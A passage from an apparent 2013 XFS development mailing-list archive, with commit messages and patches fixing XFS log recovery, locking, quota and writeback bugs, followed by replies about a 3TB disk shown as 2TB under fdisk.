little more work with gdb to work out that the buffer log format structure was both expecting it to be there but hadn't accounted for it. It was at that point I went to the kernel code, as clearly this wasn't a bug in xfs_logprint and the kernel was writing bad stuff to the log. First port of call was the buffer item formatting code, and the discontiguous memory/contiguous dirty region handling code immediately stood out. I've wondered for a long time why the code had this comment in it: vecp->i_addr = xfs_buf_offset(bp, buffer_offset); vecp->i_len = nbits * XFS_BLF_CHUNK; vecp->i_type = XLOG_REG_TYPE_BCHUNK; /* * You would think we need to bump the nvecs here too, but we do not * this number is used by recovery, and it gets confused by the boundary * split here * nvecs++; */ vecp++; And it didn't account for the extra vector pointer. The case being handled here is that a contiguous dirty region lies across a boundary that cannot be memcpy()d across, and so has to be split into two separate operations for xlog_write() to perform. What this code assumes is that what is written to the log is two consecutive blocks of data that are accounted in the buf log format item as the same contiguous dirty region and so will get decoded as such by the log recovery code. The thing is, xlog_write() knows nothing about this, and so just does it's normal thing of adding an opheader for each vector. That means the 8k region gets written to the log as two separate regions of 4k each, but because nvecs has not been incremented, the buf log format item accounts for only one of them. Hence when we come to log recovery, we process the first 4k region and then expect to come across a new item that starts with a log format structure of some kind that tells us whenteh next data is going to be. Instead, we hit raw buffer data and things go bad real quick. So, the commit from 2002 that commented out nvecs++ is just plain wrong. It breaks log recovery completely, and it would seem the only reason this hasn't been since then is that we don't log large contigous regions of multi-page unmapped buffers very often. Never would be a closer estimate, at least until the CRC code came along.... So, lets fix that by restoring the nvecs accounting for the extra region when we hit this case..... .... and there's the problemin log recovery it is apparently working around: XFS: Assertion failed: i == item->ri_total, file: fs/xfs/xfs_log_recover.c, line: 2135 Yup, xlog_recover_do_reg_buffer() doesn't handle contigous dirty regions being broken up into multiple regions by the log formatting code. That's an easy fix, though - if the number of contiguous dirty bits exceeds the length of the region being copied out of the log, only account for the number of dirty bits that region covers, and then loop again and copy more from the next region. It's a 2 line fix. Now xfstests xfs/085 passes, we have one less piece of mystery code, and one more important piece of knowledge about how to structure new log format items.. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit 709da6a61aaf12181a8eea8443919ae5fc1b731d) commit 2962f5a5dcc56f69cbf62121a7be67cc15d6940b Author: Dave Chinner Date: Mon May 27 16:38:25 2013 +1000 xfs: kill suid/sgid through the truncate path. XFS has failed to kill suid/sgid bits correctly when truncating files of non-zero size since commit c4ed4243 ("xfs: split xfs_setattr") introduced in the 3.1 kernel. Fix it. Fix it. cc: stable kernel Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 56c19e89b38618390addfc743d822f99519055c6) commit 08fb39051f5581df45ae2a20c6cf2d0c4cddf7c2 Author: Dave Chinner Date: Tue May 21 18:02:00 2013 +1000 xfs: avoid nesting transactions in xfs_qm_scall_setqlim() Lockdep reports: ============================================= [ INFO: possible recursive locking detected ] 3.9.0+ #3 Not tainted --------------------------------------------- setquota/28368 is trying to acquire lock: (sb_internal){++++.?}, at: [] xfs_trans_alloc+0x26/0x50 but task is already holding lock: (sb_internal){++++.?}, at: [] xfs_trans_alloc+0x26/0x50 from xfs_qm_scall_setqlim()->xfs_dqread() when a dquot needs to be allocated. xfs_qm_scall_setqlim() is starting a transaction and then not passing it into xfs_qm_dqet() and so it starts it's own transaction when allocating the dquot. Splat! Fix this by not allocating the dquot in xfs_qm_scall_setqlim() inside the setqlim transaction. This requires getting the dquot first (and allocating it if necessary) then dropping and relocking the dquot before joining it to the setqlim transaction. Reported-by: Michael L. Semon Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit f648167f3ac79018c210112508c732ea9bf67c7b) commit 7ae077802c9f12959a81fa1a16c1ec2842dbae05 Author: Dave Chinner Date: Mon May 20 09:51:16 2013 +1000 xfs: remote attribute lookups require the value length When reading a remote attribute, to correctly calculate the length of the data buffer for CRC enable filesystems, we need to know the length of the attribute data. We get this information when we look up the attribute, but we don't store it in the args structure along with the other remote attr information we get from the lookup. Add this information to the args structure so we can use it appropriately. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit e461fcb194172b3f709e0b478d2ac1bdac7ab9a3) commit cf257abf02709dba3cc745d950f144ce49432b4f Author: Dave Chinner Date: Mon May 20 09:51:14 2013 +1000 xfs: xfs_attr_shortform_allfit() does not handle attr3 format. xfstests generic/117 fails with: XFS: Assertion failed: leaf->hdr.info.magic == cpu_to_be16(XFS_ATTR_LEAF_MAGIC) indicating a function that does not handle the attr3 format correctly. Fix it. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit b38958d715316031fe9ea0cc6c22043072a55f49) commit 7ced60cae46cb37273a03c196e6f473b089bd8e1 Author: Dave Chinner Date: Mon May 20 09:51:13 2013 +1000 xfs: xfs_da3_node_read_verify() doesn't handle XFS_ATTR3_LEAF_MAGIC Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 72916fb8cbcf0c2928f56cdc2fbe8c7bf5517758) commit b17cb364dbbbf65add79f1610599d01bcb6851f9 Author: Dave Chinner Date: Mon May 20 09:51:12 2013 +1000 xfs: fix missing KM_NOFS tags to keep lockdep happy There are several places where we use KM_SLEEP allocation contexts and use the fact that they are called from transaction context to add KM_NOFS where appropriate. Unfortunately, there are several places where the code makes this assumption but can be called from outside transaction context but with filesystem locks held. These places need explicit KM_NOFS annotations to avoid lockdep complaining about reclaim contexts. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit ac14876cf9255175bf3bdad645bf8aa2b8fb2d7c) commit 509e708a8929c5b75a16c985c03db5329e09cad4 Author: Dave Chinner Date: Mon May 20 09:51:10 2013 +1000 xfs: Don't reference the EFI after it is freed Checking the EFI for whether it is being released from recovery after we've already released the known active reference is a mistake worthy of a brown paper bag. Fix the (now) obvious use after free that it can cause. Reported-by: Dave Jones Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 52c24ad39ff02d7bd73c92eb0c926fb44984a41d) commit 7031d0e1c46e2b1c869458233dd216cb72af41b2 Author: Dave Chinner Date: Mon May 20 09:51:09 2013 +1000 xfs: fix rounding in xfs_free_file_space The offset passed into xfs_free_file_space() needs to be rounded down to a certain size, but the rounding mask is built by a 32 bit variable. Hence the mask will always mask off the upper 32 bits of the offset and lead to incorrect writeback and invalidation ranges. This is not actually exposed as a bug because we writeback and invalidate from the rounded offset to the end of the file, and hence the offset we are actually punching a hole out of will always be covered by the code. This needs fixing, however, if we ever want to use exact ranges for writeback/invalidation here... Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 28ca489c63e9aceed8801d2f82d731b3c9aa50f5) commit 480d7467e4aaa3dc38088baf56bc3eb3599f5d26 Author: Dave Chinner Date: Mon May 20 09:51:08 2013 +1000 xfs: fix sub-page blocksize data integrity writes FSX on 512 byte block size filesystems has been failing for some time with corrupted data. The fault dates back to the change in the writeback data integrity algorithm that uses a mark-and-sweep approach to avoid data writeback livelocks. Unfortunately, a side effect of this mark-and-sweep approach is that each page will only be written once for a data integrity sync, and there is a condition in writeback in XFS where a page may require two writeback attempts to be fully written. As a result of the high level change, we now only get a partial page writeback during the integrity sync because the first pass through writeback clears the mark left on the page index to tell writeback that the page needs writeback.... The cause is writing a partial page in the clustering code. This can happen when a mapping boundary falls in the middle of a page - we end up writing back the first part of the page that the mapping covers, but then never revisit the page to have the remainder mapped and written. The fix is simple - if the mapping boundary falls inside a page, then simple abort clustering without touching the page. This means that the next ->writepage entry that write_cache_pages() will make is the page we aborted on, and xfs_vm_writepage() will map all sections of the page correctly. This behaviour is also optimal for non-data integrity writes, as it results in contiguous sequential writeback of the file rather than missing small holes and having to write them a "random" writes in a future pass. With this fix, all the fsx tests in xfstests now pass on a 512 byte block size filesystem on a 4k page machine. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Ben Myers (cherry picked from commit 49b137cbbcc836ef231866c137d24f42c42bb483) commit 34097dfe88503ca2d0dbca3646c5afb331d1ac99 Author: Lukas Czerner Date: Tue May 21 23:58:01 2013 -0400 xfs: use ->invalidatepage() length argument ->invalidatepage() aop now accepts range to invalidate so we can make use of it in xfs_vm_invalidatepage() Signed-off-by: Lukas Czerner Acked-by: Dave Chinner Reviewed-by: Ben Myers Cc: xfs@oss.sgi.com commit d47992f86b307985b3215bcf141d56d1849d71df Author: Lukas Czerner Date: Tue May 21 23:17:23 2013 -0400 mm: change invalidatepage prototype to accept length Currently there is no way to truncate partial page where the end truncate point is not at the end of the page. This is because it was not needed and the functionality was enough for file system truncate operation to work properly. However more file systems now support punch hole feature and it can benefit from mm supporting truncating page just up to the certain point. Specifically, with this functionality truncate_inode_pages_range() can be changed so it supports truncating partial page at the end of the range (currently it will BUG_ON() if 'end' is not at the end of the page). This commit changes the invalidatepage() address space operation prototype to accept range to be invalidated and update all the instances for it. We also change the block_invalidatepage() in the same way and actually make a use of the new length argument implementing range invalidation. Actual file system implementations will follow except the file systems where the changes are really simple and should not change the behaviour in any way .Implementation for truncate_page_range() which will be able to accept page unaligned ranges will follow as well. Signed-off-by: Lukas Czerner Cc: Andrew Morton Cc: Hugh Dickins ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_aops.c | 14 ++++++++------ fs/xfs/xfs_dir2.c | 13 +++++-------- fs/xfs/xfs_dir2_block.c | 17 +++++++---------- fs/xfs/xfs_dir2_leaf.c | 18 ++++++++---------- fs/xfs/xfs_dir2_priv.h | 11 +++++------ fs/xfs/xfs_dir2_sf.c | 31 +++++++++++++------------------ fs/xfs/xfs_file.c | 18 +++++++----------- fs/xfs/xfs_trace.h | 15 ++++++++++----- fs/xfs/xfs_vnodeops.h | 3 +-- 9 files changed, 64 insertions(+), 76 deletions(-) hooks/post-receive -- XFS development tree From sekharan@us.ibm.com Mon Jul 15 17:52:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AE2677F37 for ; Mon, 15 Jul 2013 17:52:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4C995AC004 for ; Mon, 15 Jul 2013 15:52:40 -0700 (PDT) X-ASG-Debug-ID: 1373928758-04bdf0245b207d0001-NocioJ Received: from e9.ny.us.ibm.com (e9.ny.us.ibm.com [32.97.182.139]) by cuda.sgi.com with ESMTP id FJxtoGKhLTJonmr4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 15 Jul 2013 15:52:39 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.182.139 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.139] Received: from /spool/local by e9.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Mon, 15 Jul 2013 18:52:38 -0400 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.139] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.139] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.139] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.139] Received: from d01dlp02.pok.ibm.com (9.56.250.167) by e9.ny.us.ibm.com (192.168.1.109) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Mon, 15 Jul 2013 18:52:36 -0400 Received: from d01relay04.pok.ibm.com (d01relay04.pok.ibm.com [9.56.227.236]) by d01dlp02.pok.ibm.com (Postfix) with ESMTP id 68C3B6E803A for ; Mon, 15 Jul 2013 18:52:31 -0400 (EDT) Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245]) by d01relay04.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6FMqZgs092558 for ; Mon, 15 Jul 2013 18:52:36 -0400 Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1]) by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6FMtBQN004626 for ; Mon, 15 Jul 2013 16:55:11 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6FMtBqc004613 for ; Mon, 15 Jul 2013 16:55:11 -0600 Subject: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path From: Chandra Seetharaman X-ASG-Orig-Subj: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path Reply-To: sekharan@us.ibm.com To: XFS mailing list Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Mon, 15 Jul 2013 17:52:34 -0500 Message-ID: <1373928754.20769.41.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071522-7182-0000-0000-000007BA96A6 X-Barracuda-Connect: e9.ny.us.ibm.com[32.97.182.139] X-Barracuda-Start-Time: 1373928759 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com While testing and rearranging my pquota/gquota code, I stumbled on a xfs_shutdown() during a mount. But the mount just hung. I debugged and found that there is a deadlock involving &log->l_cilp->xc_ctx_lock. It is in a code path where &log->l_cilp->xc_ctx_lock is first acquired in read mode and some levels down the same semaphore is being acquired in write mode causing a deadlock. This is the stack: xfs_log_commit_cil -> acquires &log->l_cilp->xc_ctx_lock in read mode xlog_print_tic_res xfs_force_shutdown xfs_log_force_umount xlog_cil_force xlog_cil_force_lsn xlog_cil_push_foreground xlog_cil_push - tries to acquire same semaphore in write mode This patch fixes the deadlock by not calling xfs_force_shutdown() while holding the semaphore, instead calling it after dropping teh semaphore. Thanks to Dave for suggesting this solution. Signed-off-by: Chandra Seetharaman --- fs/xfs/xfs_log.c | 6 +++--- fs/xfs/xfs_log_cil.c | 10 ++++++---- fs/xfs/xfs_log_priv.h | 2 +- fs/xfs/xfs_trans.c | 2 +- 4 files changed, 11 insertions(+), 9 deletions(-) diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index d852a2b..b9fa2da 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -1837,7 +1837,7 @@ xlog_state_finish_copy( * print out info relating to regions written which consume * the reservation */ -void +int xlog_print_tic_res( struct xfs_mount *mp, struct xlog_ticket *ticket) @@ -1941,7 +1941,7 @@ xlog_print_tic_res( xfs_alert_tag(mp, XFS_PTAG_LOGRES, "xlog_write: reservation ran out. Need to up reservation"); - xfs_force_shutdown(mp, SHUTDOWN_CORRUPT_INCORE); + return EFSCORRUPTED; } /* @@ -2215,7 +2215,7 @@ xlog_write( ticket->t_curr_res -= sizeof(xlog_op_header_t); if (ticket->t_curr_res < 0) - xlog_print_tic_res(log->l_mp, ticket); + return xlog_print_tic_res(log->l_mp, ticket); index = 0; lv = log_vector; diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index 02b9cf3..93ba7bd 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -730,10 +730,6 @@ xfs_log_commit_cil( /* xlog_cil_insert_items() destroys log_vector list */ xlog_cil_insert_items(log, log_vector, tp->t_ticket); - /* check we didn't blow the reservation */ - if (tp->t_ticket->t_curr_res < 0) - xlog_print_tic_res(log->l_mp, tp->t_ticket); - /* attach the transaction to the CIL if it has any busy extents */ if (!list_empty(&tp->t_busy)) { spin_lock(&log->l_cilp->xc_cil_lock); @@ -742,6 +738,12 @@ xfs_log_commit_cil( spin_unlock(&log->l_cilp->xc_cil_lock); } + /* check we didn't blow the reservation */ + if (tp->t_ticket->t_curr_res < 0) { + up_read(&log->l_cilp->xc_ctx_lock); + return xlog_print_tic_res(log->l_mp, tp->t_ticket); + } + tp->t_commit_lsn = *commit_lsn; xfs_log_done(mp, tp->t_ticket, NULL, log_flags); xfs_trans_unreserve_and_mod_sb(tp); diff --git a/fs/xfs/xfs_log_priv.h b/fs/xfs/xfs_log_priv.h index b9ea262..4f2fa6d 100644 --- a/fs/xfs/xfs_log_priv.h +++ b/fs/xfs/xfs_log_priv.h @@ -576,7 +576,7 @@ xlog_write_adv_cnt(void **ptr, int *len, int *off, size_t bytes) *off += bytes; } -void xlog_print_tic_res(struct xfs_mount *mp, struct xlog_ticket *ticket); +int xlog_print_tic_res(struct xfs_mount *mp, struct xlog_ticket *ticket); int xlog_write( struct xlog *log, diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index 35a2299..d96022f 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -1547,7 +1547,7 @@ xfs_trans_commit( xfs_trans_apply_dquot_deltas(tp); error = xfs_log_commit_cil(mp, tp, &commit_lsn, flags); - if (error == ENOMEM) { + if (error) { xfs_force_shutdown(mp, SHUTDOWN_LOG_IO_ERROR); error = XFS_ERROR(EIO); goto out_unreserve; From sekharan@us.ibm.com Mon Jul 15 17:54:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8203C7F37 for ; Mon, 15 Jul 2013 17:54:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7224A304043 for ; Mon, 15 Jul 2013 15:54:51 -0700 (PDT) X-ASG-Debug-ID: 1373928890-04cb6c2a46d6ba20001-NocioJ Received: from e37.co.us.ibm.com (e37.co.us.ibm.com [32.97.110.158]) by cuda.sgi.com with ESMTP id jkNJvE28NWR89NhD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 15 Jul 2013 15:54:50 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.158 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from /spool/local by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Mon, 15 Jul 2013 16:54:49 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Mon, 15 Jul 2013 16:54:47 -0600 Received: from d03relay03.boulder.ibm.com (d03relay03.boulder.ibm.com [9.17.195.228]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id CF21719D8046 for ; Mon, 15 Jul 2013 16:54:35 -0600 (MDT) Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by d03relay03.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6FMskY2144216 for ; Mon, 15 Jul 2013 16:54:46 -0600 Received: from d03av02.boulder.ibm.com (loopback [127.0.0.1]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6FMsjeH031950 for ; Mon, 15 Jul 2013 16:54:46 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6FMsjZi031920; Mon, 15 Jul 2013 16:54:45 -0600 Subject: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: XFS mailing list In-Reply-To: <20130713021349.GH3438@dastard> References: <1373593665.20769.10.camel@chandra-dt.ibm.com> <20130713021349.GH3438@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Mon, 15 Jul 2013 17:54:45 -0500 Message-ID: <1373928885.20769.42.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071522-7408-0000-0000-00001209BB08 X-Barracuda-Connect: e37.co.us.ibm.com[32.97.110.158] X-Barracuda-Start-Time: 1373928890 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sat, 2013-07-13 at 12:13 +1000, Dave Chinner wrote: > On Thu, Jul 11, 2013 at 08:47:45PM -0500, Chandra Seetharaman wrote: > > > > mkfs doesn't initialize the quota inodes to NULLFSINO as it > > does for the other internal inodes. This leads to check for two > > values (0 and NULLFSINO) to make sure if a quota inode is > > valid. > > > > Solve that problem by initializing the values to NULLFSINO > > if they are 0. > > > > Note that these values are not written back to on-disk > > superblock unless some quota is enabled on the filesystem. > > > > Signed-off-by: Chandra Seetharaman > > --- > > fs/xfs/xfs_mount.c | 12 ++++++++++++ > > 1 files changed, 12 insertions(+), 0 deletions(-) > > > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > > index 2b0ba35..8b95933 100644 > > --- a/fs/xfs/xfs_mount.c > > +++ b/fs/xfs/xfs_mount.c > > @@ -572,6 +572,18 @@ out_unwind: > > static void > > xfs_sb_quota_from_disk(struct xfs_sb *sbp) > > { > > + /* > > + * older mkfs doesn't initialize quota inodes to NULLFSINO, > > + * which leads to two values for a quota inode to be invalid: > > + * 0 and NULLFSINO. Fix it. > > + */ > > + if (sbp->sb_uquotino == 0) > > + sbp->sb_uquotino = NULLFSINO; > > + if (sbp->sb_gquotino == 0) > > + sbp->sb_gquotino = NULLFSINO; > > + if (sbp->sb_pquotino == 0) > > + sbp->sb_pquotino = NULLFSINO; > > There coment needs to point out that this is changing the in-memory > superblock value right here, so we don't need to make changing > sb_pquotino dependent on the superblock having support for this > feature. But, we are not just changing just for sb_pquotino, right ? Since we are changing all the fields independent of superblock supporting sb_pquotino, I thought the comment should be generic. > > Cheers, > > Dave. From ms@citd.de Mon Jul 15 18:11:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4CADA7F37 for ; Mon, 15 Jul 2013 18:11:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3CB26304039 for ; Mon, 15 Jul 2013 16:11:52 -0700 (PDT) X-ASG-Debug-ID: 1373929908-04cbb0468e1010610001-NocioJ Received: from awesome.dsw2k3.info (awesome.dsw2k3.info [217.188.63.246]) by cuda.sgi.com with ESMTP id HyOVEBDtS5gWlwKQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 15 Jul 2013 16:11:50 -0700 (PDT) X-Barracuda-Envelope-From: ms@citd.de X-Barracuda-Apparent-Source-IP: 217.188.63.246 Received: from localhost (localhost.localdomain [127.0.0.1]) by awesome.dsw2k3.info (Postfix) with ESMTP id 3D25FBFB85; Tue, 16 Jul 2013 01:11:29 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at awesome.dsw2k3.info Received: from awesome.dsw2k3.info ([127.0.0.1]) by localhost (awesome.dsw2k3.info [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Ba5Qnsa-5brs; Tue, 16 Jul 2013 01:11:27 +0200 (CEST) Received: from citd.de (p5B15A52E.dip0.t-ipconnect.de [91.21.165.46]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by awesome.dsw2k3.info (Postfix) with ESMTPSA; Tue, 16 Jul 2013 01:11:27 +0200 (CEST) Date: Tue, 16 Jul 2013 01:11:45 +0200 From: Matthias Schniedermeyer To: Jay Ashworth Cc: xfs@oss.sgi.com Subject: Re: XFS errors on 3TB HDD that is identified of size 2TB only Message-ID: <20130715231145.GA5738@citd.de> X-ASG-Orig-Subj: Re: XFS errors on 3TB HDD that is identified of size 2TB only References: <22762971.1368.1373817100242.JavaMail.root@benjamin.baylink.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <22762971.1368.1373817100242.JavaMail.root@benjamin.baylink.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: awesome.dsw2k3.info[217.188.63.246] X-Barracuda-Start-Time: 1373929909 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 14.07.2013 11:51, Jay Ashworth wrote: > ----- Original Message ----- > > From: "Thomas Schneider" > > > On my new HDD WD30EZRX I created a GPT partition table and formatted > > it with XFS. > > Then I put some data (approx. 2.4TB) on that new partition. > > > > However, after restarting the system the disk is identified of size > > 2TB only. > > knoppix@Microknoppix:~$ sudo fdisk -l > > Stop! Wait a minute! Stop it, boy! > > (Sorry; Meat Loaf flashback. :-) > > You're looking at that partition table with fdisk, *which doesn't understand > GPT partition tables*; it's amazing it didn't complain louder. It does. At least the version i got does: ... WARNING: The size of this disk is 3.0 TB (3000592982016 bytes). DOS partition table format can not be used on drives for volumes larger than (2199023255040 bytes) for 512-byte sectors. Use parted(1) and GUID partition table format (GPT). ... And that's not even the most recent version: fdisk -v fdisk (util-linux 2.20.1) But in the OP-Case the kernel appeared to reported the disc as 2TB, which could be seen in the fdisk output. -- Matthias From jra@baylink.com Mon Jul 15 18:59:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D7FC27F37 for ; Mon, 15 Jul 2013 18:59:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6AA1C304039 for ; Mon, 15 Jul 2013 16:59:43 -0700 (PDT) X-ASG-Debug-ID: 1373932781-04bdf0245b25130001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id 35is1rLZ3RG34klw for ; Mon, 15 Jul 2013 16:59:41 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 442241F0077C for ; Mon, 15 Jul 2013 19:59:41 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id v08irs4HiKlm for ; Mon, 15 Jul 2013 19:59:37 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 30BBD1F00643 for ; Mon, 15 Jul 2013 19:59:37 -0400 (EDT) Date: Mon, 15 Jul 2013 19:59:37 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <11399340.1426.1373932777053.JavaMail.root@benjamin.baylink.com> In-Reply-To: <20130715231145.GA5738@citd.de> Subject: Re: XFS errors on 3TB HDD that is identified of size 2TB only MIME-Version: 1.0 X-ASG-Orig-Subj: Re: XFS errors on 3TB HDD that is identified of size 2TB only Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [173.103.36.117] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) 